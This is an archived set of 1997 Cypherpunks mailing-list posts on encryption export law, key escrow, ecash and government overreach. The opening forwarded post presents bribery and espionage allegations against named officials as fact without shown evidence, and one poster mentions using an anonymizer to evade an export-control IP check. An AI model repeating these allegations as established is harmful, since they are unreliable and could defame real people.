Subject: HOT Summer IN White House
Message-ID: <199706201633.JAA25301@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




This item is one of many such articles outlining the corruptions within
Washington. Some of these corruptions are huge, and go far beyond simple
pork-barreling. On a level with Watergate, it seems to many of us.

I don't usually forward items from "talk.politics.crypto," as I assume
many of you are already reading it. But this particular item fits with the
"Washington as crime capital in more ways than one" them I've been
hitting.

Look especially for how favors were granted for high tech exports.

--Tim

> From: softwar@us.net (SOFTWAR)
> Newsgroups:
talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.politics.democrats.d,alt.politics.usa.republican
> Subject: HOT Summer IN White House
> Date: Fri, 20 Jun 1997 10:35:29 GMT

> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> Wednesday night ABC Primetime did a special on Ron Brown's
> girlfriend.  The accusations  flying around the dead Secretary
> of Commerce do not bode well for the living inside the Beltway.
> First, it seems that Ron acquired an offshore bank account with
> nearly a million dollars deposited for him by the Government of
> Vietnam.  Vietnam wanted to normalize trade relations with the
> US and bribing the top dog at Commerce certainly helped grease
> the skids.  Vietnam got their trade deal but Brown found out
> that the FBI knew about his bank account.  So he could not touch
> the money.  The bribery accusation is collaborated by an
> ex-Vietnamese official who has also turned his evidence over to
> the FBI.  Mr. Brown's girlfriend plans to testify before both
> the Senate and the House committees investigating wrongdoing in
> the Clinton administration.
> 
> Another revelation which should come as no shock is that the
> First Lady put John Huang in the Commerce Department.  This
> demand apparently did not sit well with Mr. Brown, who,
> according to his girlfriend, did not like Mrs. Clinton.  It
> seems that Ron's strong personality ran smack head on into
> Hillary's demanding attitude.  Yet, he bent over backward and
> made sure that Huang was hustled into his government position,
> complete with a secret clearance.  Once Huang entered the
> Commerce Department strange events really started to pop up.
> The Commerce Department initially denied Huang had access to
> anything important. It is now known that Huang attended dozens
> of secret CIA briefings.  Huang is alleged to have discussed
> secret materials with his former employers at the Lippo group.
> The allegations come from material obtained by taps on Huang's
> Commerce Department telephone.
> 
> Can the same be said for Ira Sockowitz?  
> 
> No.  Ira Sockowitz was placed into his Commerce position
> directly and personally by President Clinton.  It was Ira
> Sockowitz who ran Ron Borwn's airline seating arrangements,
> between working on government affairs.  Whenever Mr. Brown would
> fly on a government sponsored trade trip - Ira would line up big
> Corporate powers to ride along on the party plane.  Mr.
> Sockowitz had more experience as a DNC fund-raiser than security
> software.  Despite this lack of technical skills Mr. Sockowitz
> entered the field of banking security software at Commerce.  It
> is the Commerce Department which approves or denies export of
> such financial software.  The amount of money involved, invested
> and possible returns, are staggering.  Obviously, the
> push/pull/shove involved in getting such a product approved is
> no easy task.  Few export licenses have been issued and those
> who have them are not too anxious for any others to join them.
> 
> Just how easy was it to obtain such a privilege?  Not very.  Not
> even Fortune 500 companies could obtain export rights from the
> Commerce Department.  Letters from IBM, Motorola, Digital, HP
> and a host of other billion dollar firms clearly indicate their
> unsuccessful efforts to obtain Commerce licenses to export their
> products.
> 
> However, letters from certain other companies are covered with
> redacted notes which the Commerce Department refuses to release.
> One letter to the Commerce Department in particular was faxed to
> someone (also redacted) along with a memo on how to obtain a
> "waiver" for export.  Another set of Sockowitz documents being
> withheld are a set of hand written notes on a conversation, a
> three pages fax and two applications for license for export
> dated 8/11/94.  The Clinton administration will not say who sent
> the fax nor will they say who Ira Sockowitz talked to.  Yet,
> clearly the topic was a license to export.  A license that could
> have been worth billions of dollars.
> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
> 
> Charles R. Smith
> SOFTWAR
> http://www.us.net/softwar
> 
> Pcyphered SIGNATURE:
> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
> 9760977F67662EEF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 01:02:25 +0800
To: "Wayne Clerke" <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <v03102809afd06491f5c7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>Seen this? Another bank braving the Digicash ecash waters:
> ----
>From: Edward Breese x1364 <edwardb@executive.advance.com.au>
>To: ecash-merchant <ecash-merchant@advance.com.au>
>Date: Friday, 20 June 1997 11:50
>Subject: Advance Bank launches ecash
>
>>
>>Hi everyone,
>>
>>Thank you for being so patient.  ecash is now available from our web site
>>at:  http//www.advance.com.au/ecash
>>
>>You will find plenty of information to help you set up your ecash purse
>and
>>configure a web site to accept ecash.  You can  download our latest

I was unable to connect to the listed URL, but I rather suspect this is not
a form of "e-cash" that is of much interest or use to Cypherpunks.

No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
wrongly, a trademark of the company with the same name.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 01:25:23 +0800
To: cypherpunks@Algebra.COM
Subject: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <v0310280aafd0659f356a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:02 AM -0700 6/20/97, Lucky Green wrote:
>When I joined the Cypherpunks mailing list some years ago, few people even
>considered a legislative fix to the crypto issue. After all, crypto-anarchy
>is incompatible with the legislative process. Cypherpunks couldn't care
>less what happens in DC. They are banning crypto? What else is new?

Well said. And this latest round of laws is just what we expected when
Clipper was announced: the concern was never that certain government
agencies might have to replace their "STU" machines with a Clipperphone,
the concern from the beginning was mandatory use of Clipper-like key escrow
systems.

(At the risk of gaining another entry in the satires about how I said
something long in the past, I wrote a cautionary article in October 1992, 5
or 6 months before Clipper was announced, warning that Prof. Denning and
others were "floating trial balloons to ban crypto." How right I was.)


>Cypherpunks know that governments do not like crypto. As crypto-anarchy
>spreads, they will like it even less. The attempt to get governments to
>sanction crypto is therefore futile. In the end, all non-GAK crypto will be
>banned.

And the latest bill from McCain and Kerrey is the language pushed by
Clinton, so all speculation about whether Clinton will sign it when it
passes the Senate and House is moot. Further, the language closely
parallels the language we saw recently in the laws floated in the U.K.
(remember the "trusted third parties" document?) and in some  other
countries. That is, this McCain-Kerrey S.909 bill is just the
implementation of the OECD/David Aaron/GAK/New World Order/G8 deal to
outlaw cryptography use by citizen-units in the various "democratic" nation.

It is claimed by some that non-escrowed, non-GAKked, arbitrary strength
crypto remains legal for those who don't engage in commerce, who don't sign
the keys of others, who don't export,  etc.  Maybe. Certainly a lot of us
will continue to use the versions of PGP 5.x we *IMPORT* from Europe
(courtesy of the groups overseas now busily scanning and OCRing the source
code exported via FedEx by a Loyal Cypherpunk Who Has Chosen Not to Claim
Credit). Certainly we won't be using GAK.

But nearly anyone connected with a corporation will probably be told to use
a GAK product, to reduce potential liablility and criminality concerns.
This is the scenario Whit Diffie outlined several years ago at a
Cypherpunks meeting, that pressures would be applied so as to make
corporations and other such organizations the main enforcers of such
policies.

(No, there won't be 100% enforcement. But enough to have a chilling effect
on the development of some infrastructures Cypherpunks would like to see.
Certainly any sort of untraceable cash infrastructure will be in almost
immediate violation of the M-K bill, as it will be in U.K,, Germany,
France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
still "bootleg" some untraceably transactions, but not easily. And forget
about wide use. This is the desired effect of these new laws.)


>
>Cypherpunks write code,
>

OK, my chance here to piss off a few of you:

I think the "breaking of DES" challenge was, while interesting, a sideshow.
And utterly predictable, to anyone who read the 1977-78 papers on the
difficulty of breaking DES.

As with many Cypherpunks goals, I've been chagrinned to see so much
"backsliding" to lesser, less radical concerns. Recent meetings (that I've
been to) have been more dominated by "practical" issues of helping PGP,
Inc. out, of getting IETF agreement on some form of 3DES use, and on things
like the various challenges of known weak ciphers.

To quote Bill Stewart, "Foo on that!"

We are losing sight of the deeper issues, in my view.

The resources used to break DES, if as many people hosted remailers and
anonymizers on their machines, would further Cypherpunks goals a lot more
than breaking DES, which we all know was breakable (as we know what "56
bits" means).

(No, I will not make the usual error of assuming the resources used in
DESCHALL could be switched over to remailers and anonymizers....there are
many factors which went into why thousands of machines were volunteered,
and many or most of them are not applicable to the remailer situation. But
it is important to realize that "breaking DES' will have no lasting
effect....ironic, isn't it, that the M-K bill sailed through even despite
the same-day publicity surrounding the breaking of DES?)

We need to stop treating Cypherpunks meetings as marketing arms of
corporations, however "friendly" to us in some respects, and get back to
our more radical roots.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 21 Jun 1997 01:50:41 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <v03102801afd06cbcb3be@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.

The URL was missing a ':' after the http, otherwise worked fine for me.

>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

I suspect there are slight differences, but will need to confirm, between
Advance's mint protocol and MT.  If I understand correctly, they use a
somewhat different customer authentication procedure (PIN).  Even so, it
should have all the same anonymity features (or lack thereof) of MT ecash.

It isn't clear to me, from their lengthy regulation list, whether a
non-Australian can open an account.

Several items of interest.
1. No Mac support.  This is an opportunity for a non-Digicash purse.

2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
the mint, like traveller's checks.  Either banking competition must be
different in Australia or they know something I don't.  This would probably
not fly in the US under current competitive conditions.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 02:07:43 +0800
To: cypherpunks@Algebra.COM
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I sometimes think that Oregon is being used as a beta test for some of the
more draconian laws due for the rest of the country.

An example is the new law waiting to be signed by the Govenor.  It would
expand the reasons a cop can use to detain and search you.  Currently they
need to have probable cause that you committed a crime.  The new law
expands that to probible cause that you are about to commit a crime and a
whole host of things they can detain and question you on.  (The TV
coverage has been less than good.  The TV anchor they had covering it was
pushing it as a good idea.  Only until later did they bring up any reasons
of protest.) 

Yet another tool to keep the masses down.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Fri, 20 Jun 1997 09:26:07 +0800
To: cypherpunks@toad.com
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <v03007800afcf43494b3e@[168.161.105.191]>
Message-ID: <33A9D7F3.BACEB3DA@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Dear All,

I have been an advocate of strong cryptography since my first haphazard
experiments with my own pitiful encryption schemes. Upon gaining a
little more knowledge on the subject, I have become an even stronger
advocate. The right for one to think what one likes is supposedly
"gratis", but this right is almost useless if the ability to communicate
one's thoughts to others _in a private and secure manner_ is burgeoned
by those who would grant not only to assumedly trustworthy government
departments but anyone with enough will the ability and the permission
to not only control the manner in which we communicate our thoughts with
others, but to also listen in.

And yet this is not the worst part of it all. We are reliant upon
politicians, most of whom one would be encouraged to believe are there
only due to such qualities as charisma and "political nouse", a term
unto itself really, to make decisions on that which they really have
very little idea. This decision by the U.S. Senate to endorse an action
that will only repress the whole world's ability to communicate in
private (the US being the leader by far in matters of technology,
especially the Internet) is yet another example of those ill-educated in
a particular matter succumbing to either a knee-jerk political reaction,
or a knee-jerk personal reaction. Or, as in this case, a combination of
both.

> Sen. John McCain (R-Ariz.), committee chair and chief
> sponsor of the measure, led the attack, saying
> Congress must "stop child pornography on the Internet
> and Internet gambling. These legitimate law
> enforcement concerns cannot and should not be
> overlooked or taken lightly."

"Child Pornorgrapy and the Internet" - in my opinion it is "The Phrase
that Pays" in practically every situation to do with the Internet,
politically speaking. I am sure that you could put forward a very good
argument as to why practically any facet of the internet should be
controlled, repressed, and spied upon, simply by mentioning the "phrase
that pays" in the company of Politicians. It engenders the
aforementioned knee-jerk reactions, encourages them, and stokes their
fires to a new level.

Over here in Australia it is generally accepted that most Australians
have a general disdain of politicians and politics in general.
Naturally, the young are at times passionately ideological, particularly
arts students with too much time on their hands, and they always have
faith in "the new vision", the new guard of politicians - the young
politicians, who will lead them in their struggle. Little do they
realise that this "new guard" had to get to their positions somehow -
usually by gaining favour with the "old guard". And in doing so they
effectively kneecap themselves : always chained to pleasing those who
got them there, they are never able to actually do anything they
themselves passionately believe (or believed) in, and they themselves
end up becoming the "old guard", sucked into a vicious circle. If indeed
they ever believed in what they claimed to be aiming to do.

> He warned that allowing encryption to be exported
> would permit child pornographers to use it. "If it's
> being used for child pornography? Are we going to say
> that's just fine? That's it's just business? I don't
> think so."

Such narrow-mindedness and short-sightedness is something we would
probably have all hoped to not have seen, particularly in "leaders" of
such stature. "The Phrase that Pays" seems to only be so applicable to
the Internet: these same politicians would no doubt scream to all
reaches of the globe the right for all to free speech, and yet would
they repress the export of printing presses? Computers? Paper? Pencils?
I am sure that these tools are far more crucial to the business of Child
Pornographers than strong cryptography. It seems ridiculous to try and
control or at least impinge upon the business of child pornographers by
controlling the export of something that will only affect the ability of
those outside of the United States to view or obtain such material. But
then again, where the Communications Decency Act, a law of sheer
repression, failed, systems such as Government Key Escrow might succeed.
A later part of the article summarised this beautifully:

> Sen. John Ashcroft (R-MO) tried to disagree. "It's like
> photography. We're not going to [ban] photography if
> someone takes dirty pictures." (At this point, one of
> the more deaf committee members asked, "Pornography?
> Are we going to ban pornography?")
>
I guess that the whole idea of children's uncontrolled access to
information had to follow:

> Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
> saying she doesn't want "children to have access to
> pornography or other bad types of information."

I am also an advocate of freedom of information, as strange as it might
sound to combine that with advocacy for privacy and security. In my
opinion there is a time and a place for everything, and it is also so
with information: certain things should remain private, and justifiably
so (e.g Credit Card numbers, bank account details, Social Security
details), but most other information can only lead in the long run to
the enhancement of our ability to learn about ourselves, and the world
in which we live. Attempting to generally control access to information
is the next step in the progression of repression of freedom. First you
repress the ability to communicate thoughts privately, as mentioned
before, and then you try and control the thoughts of the current and
next generation by restricting access to information that does not fit a
personal model. The next generation will thus have grown up accepting
this as normal, and the world is safer place. And so we have a model
society...a society that reflects the views of a past generation's
society. Every "Condition" Perpetuates Itself, Due To Every
"Condition's" Fear Of Change.

Perhaps I am being a bit alarmist. Perhaps I have been influenced too
greatly by George Orwell's "1984". Or perhaps I am seeing something here
that others have known for ages, and I have only just seen it. I am not
sure of that, but I am sure of this: I am just of voting age now in
Australia, and if I could add my voice to those trying to convince
politicians of the obvious truth here in the USA then I would. But
Australia always has and probably always will continue to follow the
path of the United States. Perhaps the only way for me to be able to
share my thoughts with others will be to remain so unimportant that
nobody could possibly be interested in me.

Benjamin Grosman

-------------------------------
Apologies to those who were forced to read a very rambling diatribe
against this whole situation. I have tried to formulate my thoughts upon
reading the news of the defeat into something at least slightly
coherent. I will try at a later point to polish this up...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 23:53:33 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key-RecoveryCrypto Bill
Message-ID: <v03007800afd04ded1e66@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



>Date: Thu, 19 Jun 1997 16:47:49 -0400
>To: fight-censorship@vorlon.mit.edu
>From: Declan McCullagh <declan@well.com>
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key-Recovery
>Crypto Bill
>Cc:
>Bcc:
>X-Attachments:
>
>At 13:45 -0400 6/19/97, Jonah Seiger wrote:
>>
>>Senator Conrad Burns' (R-MT) effort to block the McCain-Kerrey bill was
>>defeated by a vote of 12 - 8.  The 8 Senators who voted with Burns deserve
>>a great deal of credit for standing up for the Net.
>
>Perhaps your definition of "standing up for the Net" is different from mine.
>
>The eight senators who "deserve a great deal of credit" voted for a bill
>that would have codified into law a 56-bit limit on encryption exports and
>would have sparked the development of a national key recovery
>infrastructure.
>
>Burns' ProCODE II "effort" would have permitted only the export of up to
>56-bit crypto products without key escrow. Products of any strength *with*
>key escrow could be exported freely.
>
>ProCODE II would also create an Information Security Board composed of the
>Commerce Secretary, and representatives of the NSA, CIA, FBI, and White
>House.
>
>Maybe it's just me, but I don't need my elected representatives "standing
>up" for me by passing these kinds of bills...
>
>-Declan
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 21 Jun 1997 02:24:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cypherpunks write code
In-Reply-To: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
Message-ID: <199706201815.LAA18928@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley writes:

> Does www.anonymizer.com run at a decent speed within the US? I tried to 
> use it from here yesterday to get past the IP address cheching for the 
> export page on www.netscape.com, and it was too slow (just stalled on 
> about 1k)

During its transition from C2 to Cyberpass, the anonymizer seems to have
acquired a long pause after the first block of each document.  Accounts
which permit you to use the anonymizer without the pause may be purchased
for a reasonable fee from the anonymizer's new owner. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 21 Jun 1997 03:03:45 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise] Random thought...
Message-ID: <Pine.GSO.3.96.970620114844.1120E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



With all of the "punish the evildoers amongst us"  and the "Improving 
Security by making it illegal" raving in congress, this came to mind...

"The Congressional Definition of the Strength of a Firewall is how many
times you can march the citizenry in front of it for summary execution
before it crumbles."

You may now go back to the regularly scheduled panic.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 21 Jun 1997 00:19:37 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <199706201325.GAA17048@fat.doobie.com>
Message-ID: <3.0.2.32.19970620115331.035cbde0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:25 AM 6/20/97 -0700, Huge Cajones Remailer wrote:

>It seems not to occur to those in D.C. that the very idea of congress
>deigning to tell us how we can communicate with each other is utterly
>offensive.

And unlike others, I am not afraid to say in public that (as in so many other 
things) I will refuse to obey congressional enactments in this area.

DCF
 
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lMW/QUIYbsQPnftHPdFSfAWZ0DyCj/kamiRX/6Owl1dNlXzffWUt0TRit/epL2wh
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 03:14:10 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.96.970620105013.1120B-100000@linda.teleport.com>
Message-ID: <v0310280cafd07f143053@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:00 AM -0700 6/20/97, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.
>

Well, California has a constant stream of such laws...I reported on some of
them yesterday.

I suspect most of the other states are doing the same thing....

An interesting set of issues about "states rights" and "local control." I
used to think--indeed, this is what I was taught--that certain things
stated in the U.S. Constitution, such as the various items in the Bill of
Rights we mention so often, would block many local or state laws.

Thus, if Nebraska passed a law restricting religious freedoms, making Islam
a crime, for example, then this would be "struck down" by the Supremes.

I no longer feel very secure in this belief. For example, many states,
counties, and cities have laws which abridge the Second Amendment. Why are
these local laws not unconstitutional? When I have raised these points I
have been told by law professors (for example, on the Cyberia list) that
surely I support "states rights," don't I?

I now think it is likely that the 50 state legislatures, the thousands of
county and city governments, will accelerate their lawmaking machinery.
They have learned that the way to steady employment is to proliferate
bureacracies, that despite various scattered attempts to limit such
bureacratic growth, the expansion basically continues and even acclerates.
This ensures a huge job pool for politicians and bureaucrats. (Even
politicians who "retire" or are "voted out" find continued employment in
regional and local bureaucracies....

(Just in my neck of the woods there is government from Washington,
government from Sacramento, government from Santa Cruz County, government
from the Association of Monterey Bay Area Governments (AMBAG), and
government from the various City Halls that dot the landscape. Not to
mention at least four separate "police forces" roaming the streets (local
police, County Sheriffs, California Highway Patrol, and various Forest
Service and Park Rangers, all armed, all dangerous, all looking to hassle
any citizen-unit they take an interest in.) Plus an army of shakedown
agencies which demand $1000 fees to merely process the paperwork for a
replacement well on our own property, not even guaranteeing approval:
"Well, the $1000 is to cover our overhead costs," meaning the 4-story
concrete building housing several hundred County employees, all for a
county having fewer than 75,000 residents!)

The whole system is a corrupt shakedown racket. Cincinattus would not be
surprised.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 21 Jun 1997 03:21:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <19970620120855.39343@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 20, 1997 at 10:17:37AM -0700, Tim May wrote:
[...]
> 
> But nearly anyone connected with a corporation will probably be told to use
> a GAK product, to reduce potential liablility and criminality concerns.
> This is the scenario Whit Diffie outlined several years ago at a
> Cypherpunks meeting, that pressures would be applied so as to make
> corporations and other such organizations the main enforcers of such
> policies.

The mistake here is thinking that corporations need pressure. 
Instead, corporate authority structures are substantially equivalent
to government authority structures, and the same desire for control
that drives GAK operates within corporations.  Thus, corporations are,
underneath, eager accomplices, not covert champions of the cypherpunk
agend angrily bowing under pressure. 

> (No, there won't be 100% enforcement. But enough to have a chilling effect
> on the development of some infrastructures Cypherpunks would like to see.
> Certainly any sort of untraceable cash infrastructure will be in almost
> immediate violation of the M-K bill, as it will be in U.K,, Germany,
> France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
> still "bootleg" some untraceably transactions, but not easily. And forget
> about wide use. This is the desired effect of these new laws.)

Yep, that infrastructure will be chilled.  
[...]
> We need to stop treating Cypherpunks meetings as marketing arms of
> corporations, however "friendly" to us in some respects, and get back to
> our more radical roots.

Actually, I think we need to be more clever than that.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 21 Jun 1997 01:23:11 +0800
To: cypherpunks@cyberpass.net
Subject: Mail server down :(
Message-ID: <199706201713.MAA01206@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

My ISP is in the process of switching backbone providers and as a
consenquence all my mail is bouncing. This more than likely will not be
fixed until Monday.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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iQCVAwUBM6q7SY9Co1n+aLhhAQFWNwP+Mg19u/wKUBH/CkO2VimaIurS8AI5GR7J
G7EU4dysnq3+yx5BU6vtGpkMVNLRjv8t5Q5BuT1jMfkXn5NKdt1XbUQATVsQz1X0
N3p1ojP+4DXekn4DO02N3s/5hxHT/jYX5k9EPUSgpwbp8KzG2y9DttVhz+pUeXZC
O0kOCo6XJyg=
=OD5S
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Sat, 21 Jun 1997 00:51:50 +0800
To: Benjamin Grosman <bgrosman@healey.com.au>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33AA2A2A.57A07997@healey.com.au>
Message-ID: <Pine.OSF.3.96.970620120544.4357A-100000@alcor.concordia.ca>
MIME-Version: 1.0
Content-Type: text/plain



Rant ahead.

On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> > I'm not saying I _want_ an agency making decisions for us; only that
> > it would be slightly less hideously exasperating than our present
> > situation, where technoliterates are being ruled by technoilliterates.

> I would totally agree with you here...having an agency is definitely the
> best of a bad set of choices.

Doubtful. Under the current situation our technoilliterate oppononents are
passing demonstrably unworkable and heavy-handed laws, which, if the CDA
was any indication, have a high chance of being at least partly
neutralized in the courts and the benefit of being a headache to
implement technologically and commercially. 

If our opponents institutionalize the regulation of the Net, including a
GAK law, on the other hand, the policy will have the benefit of an entire
federal bureaucracy working behind it day by day to make it workable and
turn it into something acceptable to the judiciary and to those who are
seeking compromise. 

We will then have another FCC, but this time with its own pet FBI, and
given enough time (these people are essentially government employed
full-time lobbyists) everyone but us nutty libertarians will regard their
methods as common practice and something without which the Net would be
unlivable. Society will once again fall for the fallacy of government
necessity and we'll get divided and conquered.  Just ask the average
person what they think of abolishing the FCC and you will see what I mean. 

In the long run a new dedicated bureaucracy would be the worst of all
possible choices, first because it would actually function and second
because it would never go away. 

> > corrupt. We might get two or three good years out of a Federal
> > Internet Agency, depending who was appointed to run it.

3 semi-bad years instead of a couple of scary years of GAK being fought
head-on, in exchange for a permanent problem. 

> And that would probably be a major problem...finding someone with whom
> both the government and industry are happy.

Locking the rest of us out. Divide and conquer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 21 Jun 1997 00:35:44 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
> 
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!

This sums up my own sentiments entirely. People don`t realise that there 
is just no way to prevent a bill from passing if the government wants it 
to pass, and also I find the idea of bargaining with poloticians distasteful.

> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. 

Does www.anonymizer.com run at a decent speed within the US? I tried to 
use it from here yesterday to get past the IP address cheching for the 
export page on www.netscape.com, and it was too slow (just stalled on 
about 1k)

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
